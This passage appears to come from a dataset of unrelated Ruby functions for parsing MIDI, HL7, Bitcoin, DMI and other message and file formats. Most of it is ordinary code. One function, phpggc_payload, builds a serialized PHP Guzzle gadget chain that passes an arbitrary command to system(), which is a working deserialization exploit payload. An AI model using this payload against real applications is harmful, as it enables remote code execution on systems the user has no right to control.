0\n next\n end\n\n supported_modes |= (1 << byte) if n.zero?\n\n n ^= 1\n end\n\n emit('capability_query')\n\n when ANALOG_MAPPING_RESPONSE\n pin_index = 0\n\n current_buffer.slice(2, current_buffer.length - 3).each do |byte|\n\n @pins[pin_index].analog_channel = byte\n\n @analog_pins.push(pin_index) unless byte == 127\n\n pin_index += 1\n end\n\n emit('analog_mapping_query')\n\n when PIN_STATE_RESPONSE\n pin = pins[current_buffer[2]]\n pin.mode = current_buffer[3]\n pin.value = current_buffer[4]\n\n pin.value |= (current_buffer[5] << 7) if current_buffer.size > 6\n\n pin.value |= (current_buffer[6] << 14) if current_buffer.size > 7\n\n when FIRMWARE_QUERY\n @firmware_name = current_buffer.slice(4, current_buffer.length - 5).reject { |b| b.zero? }.map(&:chr).join\n emit('firmware_query')\n\n else\n puts 'bad byte'\n end\n end\n end\n rescue StopIteration\n # do nadda\n end", "def data\n dis_data.read\n end", "def parse_string( instr )\n post_mllp = instr\n if /\\x0b((:?.|\\r|\\n)+)\\x1c\\r/.match( instr )\n post_mllp = $1 #strip the mllp bytes\n end\n HL7::MessageParser.split_by_delimiter(post_mllp, @delimiter.segment)\n end", "def extract_data code, messages\n hash = {}\n code.scan(/say_reply\\(\\d+, (\\d+)/).each { |(id)|\n id = Integer id\n next unless messages.has_key? id\n text = messages.fetch id\n (hash['replies'] ||= []) << text\n }\n code.scan(/message_str\\(\\d+, (\\d+)/).each { |(id)|\n id = Integer id\n next unless messages.has_key? id\n text = messages.fetch id\n (hash['used'] ||= []) << text\n }\n code.scan(/option[(].*?,.*?, (\\d+), (.*?),/).\n each {|(id,node)|\n id = Integer id\n next unless messages.has_key? id\n text = messages.fetch id\n (hash['options'] ||= []) << {node => text}\n }\n code.scan(/say_message\\(\\d+, (\\d+)/).each { |(id)|\n id = Integer id\n next unless messages.has_key? id\n text = messages.fetch id\n (hash['messages'] ||= []) << text\n }\n code.scan(/call (.*);/).each { |(name)|\n (hash['calls'] ||= []) << name\n }\n hash\nrescue\n p code\n p messages\n raise\nend", "def xmos_extract_opcode(dump)\n dump.each_line do |line|\n # If the line is a line of dissassembled code\n m = /\\A\\s+0x[0-9a-f]+:/i.match line\n\n # Extract the opcode field and remove any internal spaces\n return line.split(/:/)[1].split.join unless m.nil?\n end\nend", "def data\n bytes = lp_data.bytes.to_a.pack('C*')\n case lp_type\n when 1,2\n bytes.force_encoding('utf-16le').strip\n when 3\n bytes\n when 4\n bytes.unpack('V').first\n when 5\n bytes.unpack('N').first\n when 7\n str = bytes.force_encoding('utf-16le')\n str.split(\"\\0\".encode('utf-16le'))\n when 11\n bytes.unpack('Q<').first\n else\n \"\"\n end\n end", "def midi_outputs\n @clock.midi_output.devices\n end", "def extract_message(msg)\n case msg['event']\n when \"playerStateChange\", \"playerQualityChange\", \"playerReady\", \"pageLoaded\"\n @events << ProbeEvent.new(msg['event'], msg['timestamp'], msg['data'])\n when \"videoDuration\"\n @video_duration = msg['data'].to_i\n when \"finished\"\n calculate_results\n # TODO what to do with the probe?\n # close the page?\n end\n end", "def slurp(msg)\n if $save\n tstamp = (msg.props[\"MESSAGE_ID\"] || Time.now.to_i)\n fo = java.io.FileOutputStream.new(File.join($save, \"#{tstamp}.ser\"))\n oo = java.io.ObjectOutputStream.new(fo)\n oo.writeObject(msg)\n oo.close\n fo.close\n end\n\n puts \"-=\"*30 + \"-\"\n puts msg, msg.props.sort.map {|k,v| \" #{k} = #{v}\"}\n puts \"[*] Full Text:\", msg.text if msg.respond_to?(:text)\n puts\nend", "def parse_data(data)\n idx = 0\n @prev_out, @prev_out_index = data[idx...idx+=36].unpack(\"a32I\")\n @script_sig_length, tmp = Protocol.unpack_var_int(data[idx..-1])\n idx += data[idx..-1].bytesize - tmp.bytesize\n @script_sig = data[idx...idx+=@script_sig_length]\n @sequence = data[idx...idx+=4]\n idx\n end", "def msgData(arr)\n return data = {\"rusr\" => arr[0][1..-1].split(\"!\")[0], \"raddress\" => arr[0].split(\"!\")[1], \"type\" => arr[1], \"who\" => arr[2], \"event\" => arr[3][1..-1], \"args\" => arr[4..-1].join(\" \")}\n end", "def get_data\n return @data.unpack(\"S>*\")\n end", "def _get_data\n output = %x[/usr/bin/magic_mouse_rb]\n db = output.split(\"|\")\n db = db[1];\n unless db\n return 0\n end\n return db.split\n end", "def unpack(p0) end", "def get_program_file_data(program_file)\n File.open(program_file,'rb'){|f| f.read}\nend", "def read_data\n unpacker.read\n end", "def processMessage(udp_msg)\n\n nmsg = MsgPacket.new\n\n cm_port = udp_msg[1][1]\n cm_addr = udp_msg[1][2]\n cm_msg = udp_msg[0]\n\n nmsg.demarshallMsg(udp_msg[0], cm_addr)\t\n nstatus = nmsg.cmStatus\n sys_3v = nmsg.cmStatus[0].to_i\n sys_5v = nmsg.cmStatus[1].to_i\n sys_12v = nmsg.cmStatus[2].to_i\n\n mac0 = nmsg.to_hex_s(nmsg.mac11[0].to_i)\n mac1 = nmsg.to_hex_s(nmsg.mac11[1].to_i)\n mac2 = nmsg.to_hex_s(nmsg.mac11[2].to_i)\n mac3 = nmsg.to_hex_s(nmsg.mac11[3].to_i)\n mac4 = nmsg.to_hex_s(nmsg.mac11[4].to_i)\n mac5 = nmsg.to_hex_s(nmsg.mac11[5].to_i)\n mac1str = \"#{mac0}:#{mac1}:#{mac2}:#{mac3}:#{mac4}:#{mac5}\"\n\n mac0 = nmsg.to_hex_s(nmsg.mac12[0].to_i)\n mac1 = nmsg.to_hex_s(nmsg.mac12[1].to_i)\n mac2 = nmsg.to_hex_s(nmsg.mac12[2].to_i)\n mac3 = nmsg.to_hex_s(nmsg.mac12[3].to_i)\n mac4 = nmsg.to_hex_s(nmsg.mac12[4].to_i)\n mac5 = nmsg.to_hex_s(nmsg.mac12[5].to_i)\n mac2str = \"#{mac0}:#{mac1}:#{mac2}:#{mac3}:#{mac4}:#{mac5}\"\n\n mac0 = nmsg.to_hex_s(nmsg.mac13[0].to_i)\n mac1 = nmsg.to_hex_s(nmsg.mac13[1].to_i)\n mac2 = nmsg.to_hex_s(nmsg.mac13[2].to_i)\n mac3 = nmsg.to_hex_s(nmsg.mac13[3].to_i)\n mac4 = nmsg.to_hex_s(nmsg.mac13[4].to_i)\n mac5 = nmsg.to_hex_s(nmsg.mac13[5].to_i)\n mac3str = \"#{mac0}:#{mac1}:#{mac2}:#{mac3}:#{mac4}:#{mac5}\"\n\n mac0 = nmsg.to_hex_s(nmsg.mac14[0].to_i)\n mac1 = nmsg.to_hex_s(nmsg.mac14[1].to_i)\n mac2 = nmsg.to_hex_s(nmsg.mac14[2].to_i)\n mac3 = nmsg.to_hex_s(nmsg.mac14[3].to_i)\n mac4 = nmsg.to_hex_s(nmsg.mac14[4].to_i)\n mac5 = nmsg.to_hex_s(nmsg.mac14[5].to_i)\n mac4str = \"#{mac0}:#{mac1}:#{mac2}:#{mac3}:#{mac4}:#{mac5}\"\n\n if ( nmsg.pktFormat != CM_PACKET_FORMAT)\n\twarn(\"Packet With UnKnown Format \", nmsg.pktFormat, \" Not Processed\")\n else \n\n nnode = CmcNode.fromIP(cm_addr)\n\tif (nnode == nil)\n\t debug(\" Invalid IP address = \", cm_addr)\n\t return\n\tend\n\n\tcase (nmsg.cmd)\n\n\twhen CM_CMD_REGISTER_CM\n\t # CM calls in first time\n\t #debug(\" *** Received REGISTER_CM Message **************\")\n\t nmsg.updateCmd(CM_CMD_REGISTER_CM_REPLY)\n\t cmstr = nmsg.marshallMsg\n\t condition = NODE_REGISTERED\n\t nnode.updateStatus(nmsg.myIp, cm_port, nmsg.version, cm_addr,\n\t \t\t nmsg.nodeType, condition, \n\t\t\t nmsg.cmStatus, mac1str, mac2str, mac3str, mac4str)\n sendCommand(cm_port, cm_addr, cmstr)\n\n\twhen CM_CMD_STATUS_CM\n\t # Periodic status report\n\t #debug(\" *** Received STATUS_CM Message **************\")\n condition = nnode.readCondition\n if (condition == NODE_NOT_REGISTERED )\n return\n end\n\t if (nnode.nodeActiveInactive == NODE_INACTIVE)\n\t return\n\t end\n\t nmsg.updateCmd(CM_CMD_STATUS_CM_REPLY)\n stime = nnode.readUpdtStatusTime(UPDATE_STATUS)\n\t cmstr = nmsg.marshallMsg\n if ( ((sys_3v > CM_V_ON_THRESHOLD) || (sys_5v > CM_V_ON_THRESHOLD)))\n\t condition = NODE_POWERED_UP\n\t end\n\n if ( ((sys_3v < CM_V_ON_THRESHOLD) && (sys_5v < CM_V_ON_THRESHOLD)) )\n\t condition = NODE_POWERED_DOWN\n\t end\n\t nnode.updateStatus(nmsg.myIp, cm_port, nmsg.version, cm_addr,\n\t \t\t nmsg.nodeType, condition, \n\t\t\t nmsg.cmStatus, mac1str, mac2str, mac3str, mac4str)\n\t sendCommand(cm_port, cm_addr, cmstr)\n\t \n\twhen CM_CMD_IDENTIFY_REQUEST_CM\n\t # Called when CM's identity button was pressed\n\t #debug(\" *** Received IDENTIFY_CM Message **************\")\n\t nmsg.updateCmd(CM_CMD_IDENTIFY_REQUEST_CM_REPLY)\n\t cmstr = nmsg.marshallMsg\n\t condition = NODE_IDENTIFY_REQUEST\n\t nnode.updateCondition(condition)\n\t sendCommand(cm_port, cm_addr, cmstr)\n\n\twhen CM_CMD_POWER_UP_REPLY\n\t #debug(\" *** Received POWER_UP_REPLY Message **************\")\n nmsg.updateCmd(CM_CMD_POWER_UP)\n cmstr = nmsg.marshallMsg\n\t removePool(cmstr, cm_addr)\n\n\twhen CM_CMD_RESET_REPLY\n\t #debug(\" *** Received RESET_REPLY Message **************\")\n nmsg.updateCmd(CM_CMD_RESET)\n cmstr = nmsg.marshallMsg\n\t removePool(cmstr, cm_addr)\n\n\twhen CM_CMD_POWER_DOWN_SOFT_REPLY\n\t #debug(\" *** Received POWER_DOWN_SOFT_REPLY Message **************\")\n nmsg.updateCmd(CM_CMD_POWER_DOWN_SOFT)\n cmstr = nmsg.marshallMsg\n\t removePool(cmstr, cm_addr)\n\n\twhen CM_CMD_POWER_DOWN_HARD_REPLY\n\t #debug(\" *** Received POWER_DOWN_HARD_REPLY Message **************\")\n nmsg.updateCmd(CM_CMD_POWER_DOWN_HARD)\n cmstr = nmsg.marshallMsg\n\t removePool(cmstr, cm_addr)\n\n\twhen CM_CMD_HOST_ENROLL_REPLY\n\t #debug(\" *** Received HOST_ENROLL_REPLY Message **************\")\n nmsg.updateCmd(CM_CMD_HOST_ENROLL)\n cmstr = nmsg.marshallMsg\n\t removePool(cmstr, cm_addr)\n\n\twhen CM_CMD_IDENTIFY_NODE_REPLY\n\t #debug(\" *** Received IDENTIFY_NODE_REPLY Message **************\")\n nmsg.updateCmd(CM_CMD_IDENTIFY_NODE)\n cmstr = nmsg.marshallMsg\n\t removePool(cmstr, cm_addr)\n\n\twhen CM_CMD_UPDATE_ENABLE_REPLY\n\t #debug(\" *** Received UPDATE_ENABLE_REPLY Message **************\")\n nmsg.updateCmd(CM_CMD_UPDATE_ENABLE)\n cmstr = nmsg.marshallMsg\n\t removePool(cmstr, cm_addr)\n\n\twhen CM_CMD_UPDATE_DISABLE_REPLY\n\t #debug(\" *** Received UPDATE_DISABLE_REPLY Message **************\")\n nmsg.updateCmd(CM_CMD_UPDATE_DISABLE)\n cmstr = nmsg.marshallMsg\n\t removePool(cmstr, cm_addr)\n\n\tend\n end\t\n end", "def event_data\n message = @event['check']['output']\n \"#{message.split[1]} RPS\"\n end", "def message(*args)\n format = \"C\" * args.size\n bytes = DL::CPtr.to_ptr(args.pack(format))\n C.snd_rawmidi_write(@output, bytes, args.size)\n C.snd_rawmidi_drain(@output)\n end", "def pulse_code\n # 64 is just the max number of entries which maybe in there times two\n length = usb_get_pulse_code_length(dataIn:1).unpack('C').first # find out the length of the currently loaded pulse code\n usb_get_pulse_code(dataIn: length * 2).unpack('v*')\n end", "def parse_file(hl7_file)\n desired_text = ''\n File.open hl7_file, \"rb\" do |messages|\n while message = messages.gets\n msg = HL7::Message.new message.chomp # remove trailing line ending\n seg_name = msg[0].e0\n # puts msg\n # puts msg[0].e0\n if seg_name == 'MSH' then\n $msh09 = msg[0].message_control_id\n # puts $msh09\n end\n if seg_name == 'PID' then\n $pid18 = msg[0].account_number\n $pid03 = msg[0].e3\n $pid02 = msg[0].e2\n $pid04 = msg[0].e4\n end\n #this is where the segment is passed as the method name\n send(\"do_something_with_#{seg_name}\",msg)\n end\n end\nend", "def serialize\n # TODO sanity checks, e.g. assert(@header[:ncmds] == @load_command.size)\n # ... perhaps an option to recalculate such data as well.\n\n # Now that we have all the pieces of the file defined we can calculate\n # the file offsets of segments and sections.\n calculate_offsets\n\n ###################################\n # Mach-O file Part 1: Mach Header #\n ###################################\n @header.serialize +\n\n #####################################\n # Mach-O file Part 2: Load Commands #\n #####################################\n # dump each load command (which include the section headers under them)\n @load_commands.map do |cmd|\n sects = @sections[cmd[:segname]] rescue []\n sects.inject(cmd.serialize) do |data, sect|\n data + sect.serialize\n end\n end.join +\n\n ###################################\n # Mach-O file Part 3: Binary data #\n ###################################\n @data.join\n end", "def run(io)\n types = Hash.new { |h, k| h[k] = { ofs: 0, words: [] } }\n\n strs = []\n ofs = 0\n max_word_len = 0\n\n # print header\n io.puts \"// generated by #@app_path from #@yaml_path\"\n\n @data.each do |type, words|\n types[type][:ofs] = strs.size\n words.each do |word|\n len = word.size\n strs << word\n types[type][:words] << { word: word, ofs: ofs, len: len }\n ofs += len\n max_word_len = len if len > max_word_len\n end\n end\n\n # build combined string\n # (suffix with two spaces to prevent overrun from pgm_read_word())\n all_strs = strs.join('') + ' '\n io.puts 'static const char TEXT[] PROGMEM =' % [all_strs]\n\n # print string in blocks of 72 bytes at a time\n # to prevent line overflow in compiler)\n (ofs / 72.0).ceil.times do |i|\n io.puts ' \"%s\"' % [all_strs[72 * i, 72].gsub(/\"/, '\\\\\"')]\n end\n io.puts ';'\n\n # print total text length\n io.puts '#define TEXT_LEN %d' % [ofs], ''\n\n # print word offsets and lengths\n io.puts \"static const char * const WORDS[] PROGMEM = {\"\n\n # print offsets\n types.each do |type, type_data|\n io.puts \" // %s\\n%s\\n\\n\" % [\n type,\n type_data[:words].map { |word|\n \" %d, %d, // \\\"%s\\\"\" % [\n word[:ofs],\n word[:len],\n word[:word],\n ]\n }.join(\"\\n\"),\n ]\n end\n\n # close word offsets\n io.puts '};', ''\n\n types.each do |type, type_data|\n io.puts \"#define %s %d\\n#define NUM_%s %d\\n\\n\" % [\n type.upcase,\n type_data[:ofs],\n type.upcase,\n type_data[:words].size,\n ]\n end\n\n # print total word count (used to calculate memory use) and\n # maximum word length (used to calculate word buffer size)\n io.puts '// stats: total word count: %d' % [\n types.values.reduce(0) do |r, type_data|\n r + type_data[:words].size\n end,\n ]\n\n # print maximum word length (used to calculate word buffer size)\n io.puts '// stats: maximum word length: %d' % [max_word_len]\n end", "def extract_audio_details\n path = audio.queued_for_write[:original].path\n open_opts = { :encoding => 'utf-8' }\n Mp3Info.open(path, open_opts) do |mp3|\n\t self.title = mp3.tag.title \n\t self.album = mp3.tag.album\n\t self.artist = mp3.tag.artist\n\t self.track = mp3.tag.tracknum\n end\nend", "def decode_launchitem( msg )\r\n hash = Rufus::Json.decode( msg )\r\n opts = {}\r\n definition = hash.delete('definition')\r\n fields = hash.delete('fields') || {}\r\n variables = hash.delete('variables') || {}\r\n\r\n [ definition, fields, variables ]\r\n end", "def read_track\n\tc = c1 = type = needed = 0\n\tsysex_continue = false\t# True if last msg was unfinished\n\trunning = false\t\t# True when running status used\n\tstatus = 0\t\t# (Possibly running) status byte\n\n\t@bytes_to_be_read = 0\n\tread_mt_header_string(MTrk_BYTE_ARRAY, false)\n\n\t@bytes_to_be_read = read32()\n\t@curr_ticks = @ticks_so_far = 0\n\n\tstart_track()\n\n\twhile @bytes_to_be_read > 0\n @curr_ticks = read_var_len() # Delta time\n @ticks_so_far += @curr_ticks\n\n # Copy raw var num data into raw time stamp data\n @raw_time_stamp_data = @raw_var_num_data.dup()\n\n c = getc()\t\t# Read first byte\n\n if sysex_continue && c != EOX\n error(\"didn't find expected continuation of a sysex\")\n end\n\n if (c & 0x80).zero? # Running status?\n error('unexpected running status') if status.zero?\n running = true\n else\n status = c\n running = false\n end\n\n needed = NUM_DATA_BYTES[(status >> 4) & 0x0f]\n\n if needed.nonzero?\t# i.e., is it a channel message?\n c1 = running ? c : (getc() & 0x7f)\n\n # The \"& 0x7f\" here may seem unnecessary, but I've seen\n # \"bad\" MIDI files that had, for example, volume bytes\n # with the upper bit set. This code should not harm\n # proper data.\n chan_message(running, status, c1,\n (needed > 1) ? (getc() & 0x7f) : 0)\n next\n end\n\n case c\n when META_EVENT\t# Meta event\n type = getc()\n msg_init()\n msg_read(read_var_len())\n meta_event(type)\n when SYSEX\t\t# Start of system exclusive\n msg_init()\n msg_add(SYSEX)\n c = msg_read(read_var_len())\n\n if c == EOX || !@no_merge\n handle_sysex(msg())\n else\n sysex_continue = true\n end\n when EOX\t\t# Sysex continuation or arbitrary stuff\n msg_init() if !sysex_continue\n c = msg_read(read_var_len())\n\n if !sysex_continue\n handle_arbitrary(msg())\n elsif c == EOX\n handle_sysex(msg())\n sysex_continue = false\n end\n else\n bad_byte(c)\n end\n\tend\n\tend_track()\n end", "def unpack(data); end", "def meta_event(type)\n\tm = msg()\t\t# Copy of internal message buffer\n\n\t# Create raw data array\n\t@raw_data = []\n\t@raw_data << META_EVENT\n\t@raw_data << type\n\t@raw_data << @raw_var_num_data\n\t@raw_data << m\n\t@raw_data.flatten!\n\n\tcase type\n\twhen META_SEQ_NUM\n sequence_number((m[0] << 8) + m[1])\n\twhen META_TEXT, META_COPYRIGHT, META_SEQ_NAME, META_INSTRUMENT,\n META_LYRIC, META_MARKER, META_CUE, 0x08, 0x09, 0x0a,\n 0x0b, 0x0c, 0x0d, 0x0e, 0x0f\n text(type, m)\n\twhen META_TRACK_END\n eot()\n\twhen META_SET_TEMPO\n tempo((m[0] << 16) + (m[1] << 8) + m[2])\n\twhen META_SMPTE\n smpte(m[0], m[1], m[2], m[3], m[4])\n\twhen META_TIME_SIG\n time_signature(m[0], m[1], m[2], m[3])\n\twhen META_KEY_SIG\n key_signature(m[0], m[1] == 0 ? false : true)\n\twhen META_SEQ_SPECIF\n sequencer_specific(type, m)\n\telse\n meta_misc(type, m)\n\tend\n end", "def get_dmi_data\n return @dmi_data if @dmi_data\n\n case Facter.value(:kernel)\n when 'Linux'\n return nil unless FileTest.exists?(\"/usr/sbin/dmidecode\")\n\n output=%x{/usr/sbin/dmidecode 2>/dev/null}\n when 'FreeBSD'\n return nil unless FileTest.exists?(\"/usr/local/sbin/dmidecode\")\n\n output=%x{/usr/local/sbin/dmidecode 2>/dev/null}\n when 'NetBSD'\n return nil unless FileTest.exists?(\"/usr/pkg/sbin/dmidecode\")\n\n output=%x{/usr/pkg/sbin/dmidecode 2>/dev/null}\n when 'SunOS'\n return nil unless FileTest.exists?(\"/usr/sbin/smbios\")\n\n output=%x{/usr/sbin/smbios 2>/dev/null}\n else\n warn \"Can't get dmi_data because of unsupported OS\"\n return\n end\n\n look_for_section_name = false\n dmi_section = nil\n dmi_section_data = {}\n dmi_section_array = nil\n @dmi_data = {}\n\n output.split(\"\\n\").each do |line|\n if line =~ /^Handle/\n if dmi_section && !dmi_section_data.empty?\n @dmi_data[dmi_section] ||= []\n @dmi_data[dmi_section] << dmi_section_data\n end\n dmi_section = nil\n dmi_section_data = {}\n dmi_section_array = nil\n look_for_section_name = true\n elsif look_for_section_name\n next if line =~ /^\\s*DMI type/\n if line =~ /^\\s*(.*)/\n dmi_section = $1\n look_for_section_name = false\n end\n elsif dmi_section && line =~ /^\\s*([^:]+):\\s*(\\S.*)/\n dmi_section_data[$1] = $2;\n dmi_section_array = nil\n elsif dmi_section && line =~ /^\\s*([^:]+):$/\n dmi_section_array = $1\n elsif dmi_section && dmi_section_array && line =~ /^\\s*(\\S.+)$/\n dmi_section_data[dmi_section_array] ||= []\n dmi_section_data[dmi_section_array] << $1\n end\n end\n @dmi_data\n end", "def get_device_info()\n @errors = []\n info = {}\n return info unless @programmer_path\n\n response = IO.popen(\"#{@programmer_path} I\").readlines\n puts response if $debug\n response.each do |line|\n if line =~ /Error/i\n errors << line\n else\n parts = line.split(/:|\\.\\.\\./)\n info[parts[0].strip.split.join.to_sym] = parts[1].strip if parts.size == 2\n end\n end # each\n info\n end", "def get_description(rec, event_source) \r\n str = rec[rec[36,4].unpack('L').first .. -1] \r\n num = rec[26,2].unpack('S').first # NumStrings\r\n hkey = [0].pack('L')\r\n key = BASE_KEY + \"#{@source}\\\\#{event_source}\"\r\n buf = 0.chr * 1024\r\n va_list = nil\r\n \r\n if num == 0\r\n va_list_ptr = 0.chr * 4\r\n else\r\n\t va_list = str.split(0.chr)[0...num]\r\n\t va_list_ptr = va_list.map{ |x|\r\n\t [x + 0.chr].pack('P').unpack('L').first\r\n\t }.pack('L*')\r\n end\r\n \t \t\r\n if RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ, hkey) == 0\r\n value = 'EventMessageFile'\r\n file = 0.chr * MAX_SIZE\r\n hkey = hkey.unpack('L').first\r\n size = [file.length].pack('L')\r\n \r\n if RegQueryValueEx(hkey, value, 0, 0, file, size) == 0\r\n file = file.nstrip\r\n exe = 0.chr * MAX_SIZE\r\n \r\n ExpandEnvironmentStrings(file, exe, exe.size)\r\n exe = exe.nstrip\r\n \r\n exe.split(';').each{ |file|\r\n hmodule = LoadLibraryEx(file, 0, LOAD_LIBRARY_AS_DATAFILE)\r\n event_id = rec[20,4].unpack('L').first\r\n if hmodule != 0\r\n FormatMessage(\r\n FORMAT_MESSAGE_FROM_HMODULE |\r\n FORMAT_MESSAGE_ARGUMENT_ARRAY,\r\n hmodule,\r\n event_id,\r\n 0,\r\n buf,\r\n buf.size,\r\n va_list_ptr \r\n )\r\n \r\n FreeLibrary(hmodule)\r\n end\r\n }\r\n end\r\n \r\n RegCloseKey(hkey)\r\n end\r\n [va_list, buf.strip]\r\n end", "def read_prologue # :nodoc:\n big_endian = Format::Current.read_prologue(io)\n @format_version = Format::Current::VERSION\n @big_endian = big_endian\n @native_endian = ((big_endian != 0) ^ Pocolog.big_endian?)\n @payload_size = 0\n end", "def movieEvent(m)\n m.read\nend", "def data\n data = Jhead.call(@match, @pattern).split(\"\\n\\n\").map { |p| p.split(\"\\n\") }\n data.map! do |p|\n h = Hash.new\n p.each do |l|\n #OPTIMIZE for the moment, ignore line:\n # \"======= IPTC data: =======\" and its following lines.\n break if l == \"======= IPTC data: =======\"\n if l =~ /(.+?)\\s*:\\s*(.+)/\n h[parse_tag $1] = parse_value $2\n end\n end\n h\n end\n\n data.size == 1 ? data.first : data\n end", "def to_midi\n pc.to_i + (oct + 1) * 12\n end", "def phpggc_payload(cmd)\r\n (\r\n # http://www.phpinternalsbook.com/classes_objects/serialization.html\r\n <<~EOF\r\n O:24:\"GuzzleHttp\\\\Psr7\\\\FnStream\":2:{\r\n s:33:\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\";a:1:{\r\n s:5:\"close\";a:2:{\r\n i:0;O:23:\"GuzzleHttp\\\\HandlerStack\":3:{\r\n s:32:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\";\r\n s:cmd_len:\"cmd\";\r\n s:30:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\";\r\n a:1:{i:0;a:1:{i:0;s:6:\"system\";}}\r\n s:31:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\";\r\n b:0;\r\n }\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n s:9:\"_fn_close\";a:2:{\r\n i:0;r:4;\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n EOF\r\n ).gsub(/\\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)\r\n end", "def extract_opcode(dump)\n dump.each_line do |line|\n # If the line is a line of disassembled code...\n m = /\\A\\s+[0-9a-f]+:/i.match line\n\n # Extract the opcode field and remove any internal spaces\n return line.split(/\\t/)[1].split.join unless m.nil?\n end\nend", "def recieve_data\n # actual code start\n if not TEST_MODE\n raw_data = get_data_from_audiometer\n else\n # dummy code start\n datafile = \"sample_data/data_with_mask.dat\"\n raw_data = String.new\n File.open(datafile, \"r\") do |f|\n raw_data = f.read\n end\n end\n\n if raw_data == \"Timeout\"\n return \"Timeout\"\n else\n r = Audiodata.new(\"raw\", raw_data)\n a = Audio.new(r)\n a.draw\n a.output(\"./result.ppm\")\n system(\"convert ./result.ppm ./result.png\") # convert with ImageMagick\n \n return raw_data\n end\nend", "def extract_message(input)\n sender = nil\n content = nil\n is_action = false\n \n stripped = input.strip\n if stripped[0...1] == '*' # action\n is_action = true\n stripped = stripped[1..-1].split(' ')\n sender = stripped[0]\n content = stripped[1..-1].join(' ')\n else\n scanned = /<([^>]*)> (.*)/.match(stripped)\n sender = scanned[1].strip\n content = scanned[2]\n end\n \n [{:ident => sender, :name => sender, :host => nil}, content, is_action]\n end", "def entrymsg\n match(/Entrymsg\\s+:\\s+(.+)/)\n end", "def handle_event_received(patch, event, &callback)\n messages = event[:message]\n patch_messages = ::Patch::IO::MIDI::Message.to_patch_messages(patch, messages)\n yield(patch_messages) if block_given?\n patch_messages\n end", "def build_hl7_message(patient_info) # rubocop:disable Metrics/MethodLength, Metrics/AbcSize\n msg_input = upload_qbp_template('lib/assets/qbp.hl7')\n\n # Build MSH Segment\n uid = rand(10_000_000_000).to_s\n msh = msg_input[:MSH]\n msh.time = Time.zone.now\n msh.message_control_id = uid\n\n # Build QPD segnment\n qpd = msg_input[:QPD]\n qpd.query_tag = uid\n\n if patient_info[:patient_list]\n patient_id_list = HL7::MessageParser.split_by_delimiter(qpd.patient_id_list, msg_input.item_delim)\n patient_id_list[1] = patient_info[:patient_list][:id] # ID\n patient_id_list[4] = patient_info[:patient_list][:assigning_authority] # assigning authority\n patient_id_list[5] = patient_info[:patient_list][:identifier_type_code] # identifier type code\n qpd.patient_id_list = patient_id_list.join(msg_input.item_delim)\n end\n\n if patient_info[:patient_name]\n patient_name = HL7::MessageParser.split_by_delimiter(qpd.patient_name, msg_input.item_delim)\n patient_name[0] = patient_info[:patient_name][:family_name] # family name\n patient_name[1] = patient_info[:patient_name][:given_name] # given name\n patient_name[2] = patient_info[:patient_name][:second_or_further_names] # second name\n patient_name[3] = patient_info[:patient_name][:suffix] # suffix name\n qpd.patient_name = patient_name.join(msg_input.item_delim)\n end\n\n if patient_info[:mothers_maiden_name]\n mother_maiden_name = HL7::MessageParser.split_by_delimiter(qpd.mother_maiden_name, msg_input.item_delim)\n mother_maiden_name[0] = patient_info[:mothers_maiden_name][:family_name] # family name\n mother_maiden_name[1] = patient_info[:mothers_maiden_name][:given_name] # given name\n mother_maiden_name[6] = patient_info[:mothers_maiden_name][:name_type_code] # name type code, M = Maiden Name\n qpd.mother_maiden_name = mother_maiden_name.join(msg_input.item_delim)\n end\n\n qpd.patient_dob = patient_info[:patient_dob]\n\n qpd.admin_sex = patient_info[:admin_sex]\n\n if patient_info[:address]\n address = HL7::MessageParser.split_by_delimiter(qpd.address, msg_input.item_delim)\n address[0] = patient_info[:address][:street] # street address\n address[2] = patient_info[:address][:city] # city\n address[3] = patient_info[:address][:state] # state\n address[4] = patient_info[:address][:zip] # zip\n address[6] = patient_info[:address][:address_type] # address type\n qpd.address = address.join(msg_input.item_delim)\n end\n\n if patient_info[:phone]\n phone_home = HL7::MessageParser.split_by_delimiter(qpd.phone_home, msg_input.item_delim)\n phone_home[5] = patient_info[:phone][:area_code] # area code\n phone_home[6] = patient_info[:phone][:local_number] # local number\n qpd.phone_home = phone_home.join(msg_input.item_delim)\n end\n\n msg_input\n end", "def format_data data\r\n\tresult = []\r\n\t#split entry to array\r\n\tarr = data.read.split '>'\r\n\tarr.each do |item|\r\n\t\tname = item.split('|')[0]\r\n\t\tnext if !name\r\n\r\n\t\tprotein = []\r\n\t\t#format name\r\n\t\tname.delete! ' '\r\n\t\tname.tr! '|', ''\r\n\r\n\t\t#format sequence\r\n\t\ttmp = item.split \"\\n\"\r\n\t\ttmp.shift\r\n\t\tsequence = tmp.join\r\n\r\n\t\tprotein.push name, sequence\r\n\r\n\t\tresult.push protein\r\n\tend\t\r\n\tresult\r\n\r\nend", "def to_payload\n pin = @in.map{|i|\n buf = [ i.prev_out, i.prev_out_index ].pack(\"a32I\")\n buf << Protocol.pack_var_int(i.script_sig_length)\n buf << i.script_sig if i.script_sig_length > 0\n buf << (i.sequence || \"\\xff\\xff\\xff\\xff\")\n }.join\n\n pout = @out.map{|o|\n buf = [ o.value ].pack(\"Q\")\n buf << Protocol.pack_var_int(o.pk_script_length)\n buf << o.pk_script if o.pk_script_length > 0\n buf\n }.join\n\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(@out.size)\n [[@ver].pack(\"I\"), in_size, pin, out_size, pout, [@lock_time].pack(\"I\")].join\n end", "def data(output)\n data = {}\n lines = output.split(/\\n/)\n lines.grep(/Duration:/).first.split(/,/).\n map {|l| l.split(': ').map(&:strip)}.\n each {|d| data[d.first.underscore.to_sym] = d.last}\n data[:size] = $1 if lines.grep(/Video:/).first.match(/(\\d+x\\d+)/)\n data\n end", "def extract_message(data)\n # interpret input data as binary\n data.force_encoding(\"binary\")\n obj = nil\n bin = nil\n if data =~ /^(\\d+):(\\d+)\\{/\n length_length = $1.size + 1 + $2.size\n overall_length, json_length = $1.to_i, $2.to_i\n\n if data.size >= length_length + overall_length\n data.slice!(0..(length_length-1))\n\n json = data.slice!(0..json_length-1)\n # there shouldn't be any non ascii-7-bit characters, transcode just to be sure\n # encode from binary to utf-8 with :undef => :replace turns all 